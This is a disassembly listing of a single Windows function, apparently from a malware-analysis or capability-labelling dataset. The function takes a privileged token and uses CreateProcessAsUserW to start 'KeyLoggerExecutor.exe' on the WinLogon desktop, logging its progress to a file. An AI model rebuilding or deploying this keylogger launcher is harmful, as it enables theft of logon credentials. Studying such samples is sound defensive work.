Function at 0x140001760
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x100]
sub rsp, 0x200
mov rax, qword [0x14000a040]
xor rax, rsp
mov qword [rbp + 0xf0], rax
mov rsi, rdx
mov rdi, rcx
xor r14d, r14d
mov dword [rsp + 0x60], r14d
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x80]
call sub.VCRUNTIME140.dll_memset
lea rax, [0x140006a38]
mov qword [rbp - 0x80], rax
lea rcx, [rbp + 0x28]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::constructor_void____ptr64]
nop
mov dword [rsp + 0x60], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp - 0x78]
lea rcx, [rbp - 0x80]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::constructor_class_std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t______ptr64__bool____ptr64]
nop
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea r12, vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx - 0x80], r12
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x7c], edx
lea rcx, [rbp - 0x78]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__::constructor_void____ptr64]
lea r15, vtable.std::basic_filebuf_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp - 0x78], r15
mov byte [rbp + 4], r14b
mov byte [rbp - 6], r14b
lea rcx, [rbp - 0x78]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__::_Init_void____ptr64]
mov qword [rbp + 8], r14
mov rax, qword [0x14000aa90]
mov qword [rbp - 4], rax
mov qword [rbp - 0x10], r14
lea rdx, str.C:UsersPublicRelease_session_log.txt
lea rcx, [rbp - 0x80]
call fcn.140003780
lea rdx, str.In_CreateProcessInWinlogonDesktop
lea rcx, [rbp - 0x80]
call fcn.140003c00
mov rcx, rax
lea rdx, [0x140004050]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov qword [rsp + 0x70], r14
lea rcx, [rsp + 0x70]
call fcn.140001360
mov ebx, eax
test eax, eax
je 0x1400018e7
lea rdx, str.GetSIDZeroToken_failed_with
lea rcx, [rbp - 0x80]
call fcn.140003c00
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140004050]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rbp - 0x78]
call fcn.140003b10
test rax, rax
jne 0x140001aa2
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x80]
add rcx, rax
xor r8d, r8d
lea edx, [r14 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::setstate_int__bool____ptr64]
jmp 0x140001aa2
mov qword [rsp + 0x78], r14
mov r8d, 1
mov rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0x78]
call qword [sym.imp.USERENV.dll_CreateEnvironmentBlock]
test eax, eax
jne 0x140001960
lea rdx, str.CreateEnvironmentBlock_failed
lea rcx, [rbp - 0x80]
call fcn.140003c00
mov rcx, rax
lea rdx, [0x140004050]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rbp - 0x78]
call fcn.140003b10
test rax, rax
jne 0x140001950
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x80]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::setstate_int__bool____ptr64]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001a9f
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rdi], xmm0
movups xmmword [rdi + 0x10], xmm0
movups xmmword [rdi + 0x20], xmm0
movups xmmword [rdi + 0x30], xmm0
movups xmmword [rdi + 0x40], xmm0
movups xmmword [rdi + 0x50], xmm0
mov qword [rdi + 0x60], rax
mov dword [rdi], 0x68
lea rax, str.winsta0WinLogOn
mov qword [rdi + 0x10], rax
xor eax, eax
movups xmmword [rsi], xmm0
mov qword [rsi + 0x10], rax
movaps xmm0, xmmword [str.C:UsersPublicReleaseKeyLoggerExecutor.exe]
movaps xmmword [rbp + 0x90], xmm0
movaps xmm1, xmmword [0x140006700]
movaps xmmword [rbp + 0xa0], xmm1
movaps xmm0, xmmword [0x140006710]
movaps xmmword [rbp + 0xb0], xmm0
movaps xmm1, xmmword [0x140006720]
movaps xmmword [rbp + 0xc0], xmm1
movaps xmm0, xmmword [0x140006730]
movaps xmmword [rbp + 0xd0], xmm0
movsd xmm0, qword [0x140006740]
movsd qword [rbp + 0xe0], xmm0
mov eax, dword [0x140006748]
mov dword [rbp + 0xe8], eax
movzx eax, word [0x14000674c]
mov word [rbp + 0xec], ax
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], r14
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x8000420
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x90]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
test eax, eax
jne 0x140001b2c
lea rdx, str.CreateProcessAsUser_failed
lea rcx, [rbp - 0x80]
call fcn.140003c00
mov rcx, rax
lea rdx, [0x140004050]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rbp - 0x78]
call fcn.140003b10
test rax, rax
jne 0x140001a9f
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x80]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::setstate_int__bool____ptr64]
mov ebx, r14d
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x80], r12
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x7c], edx
mov qword [rbp - 0x78], r15
cmp qword [rbp + 8], 0
je 0x140001af7
mov rax, qword [rbp - 0x60]
lea rcx, [rbp - 8]
cmp qword [rax], rcx
jne 0x140001af7
mov rdx, qword [rbp + 0x18]
mov rcx, qword [rbp + 0x10]
mov qword [rax], rcx
mov rax, qword [rbp - 0x40]
mov qword [rax], rcx
sub rdx, rcx
sar rdx, 1
mov rax, qword [rbp - 0x28]
mov dword [rax], edx
cmp byte [rbp + 4], 0
je 0x140001b06
lea rcx, [rbp - 0x78]
call fcn.140003b10
lea rcx, [rbp - 0x78]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x70]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
lea rcx, [rbp + 0x28]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
mov eax, ebx
jmp 0x140001bc9
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.USERENV.dll_DestroyEnvironmentBlock]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x80], r12
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov rax, rcx
mov dword [rsp + rcx + 0x7c], edx
mov qword [rbp - 0x78], r15
cmp qword [rbp + 8], 0
je 0x140001b9b
mov rax, qword [rbp - 0x60]
lea rcx, [rbp - 8]
cmp qword [rax], rcx
jne 0x140001b9b
mov rdx, qword [rbp + 0x18]
mov rcx, qword [rbp + 0x10]
mov qword [rax], rcx
mov rax, qword [rbp - 0x40]
mov qword [rax], rcx
sub rdx, rcx
sar rdx, 1
mov rax, qword [rbp - 0x28]
mov dword [rax], edx
cmp byte [rbp + 4], 0
je 0x140001baa
lea rcx, [rbp - 0x78]
call fcn.140003b10
lea rcx, [rbp - 0x78]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x70]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
lea rcx, [rbp + 0x28]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
mov rcx, qword [rbp + 0xf0]
xor rcx, rsp
call fcn.140004490
lea r11, [rsp + 0x200]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret